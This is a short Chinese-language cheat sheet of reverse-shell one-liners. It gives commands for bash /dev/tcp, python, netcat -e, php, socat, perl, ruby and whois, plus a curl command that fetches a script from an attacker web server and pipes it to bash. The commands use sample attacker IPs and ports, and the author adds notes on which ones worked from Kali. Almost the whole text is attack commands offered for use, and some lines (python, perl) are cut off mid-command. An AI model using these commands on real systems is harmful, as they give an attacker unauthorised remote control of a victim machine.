反弹shell总结
反弹shell:控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端
1、bash反弹。 bash -i >& /dev/tcp/ip/port 0>&1 一直没有成功,后来查了一下。我的kali是debian默认是没开bash的网络重定向选项。
2、python反弹shell。攻击机监听:nc -lvvp 4455 反弹成功后会有乱码,但不影响执行命令。
1 | python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); |
3、nc反弹shell:靶机执行 nc ip port -e /bin/bash
4、php反弹shell:靶机执行
1 | php -r 'exec("/bin/bash -i >& /dev/tcp/ip/port");' |
第一个可以成功反弹,但是执行命令没有回显。第二个和第三个反弹之后会有乱码,但是不影响执行命令。用linux作为攻击机就不会有乱码。
5、curl反弹shell:kali开启apache服务。service apache2 start,然后把bash命令写入一个html文件里面。靶机执行:curl ip/bash.html|bash
6、whois反弹shell:whois -h ip -p port `要执行的命令` 。这个命令只能执行一个指令。
7、socat反弹shell:socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:172.20.10.2:8888。反弹出来的会有乱码。攻击机是linux的话就不会。
8、Perl反弹shell:
1 | perl -e 'use Socket;$i="192.168.2.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) |
9、ruby反弹shell:ruby -rsocket -e’f=TCPSocket.open(“192.168.2.102”,4444).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’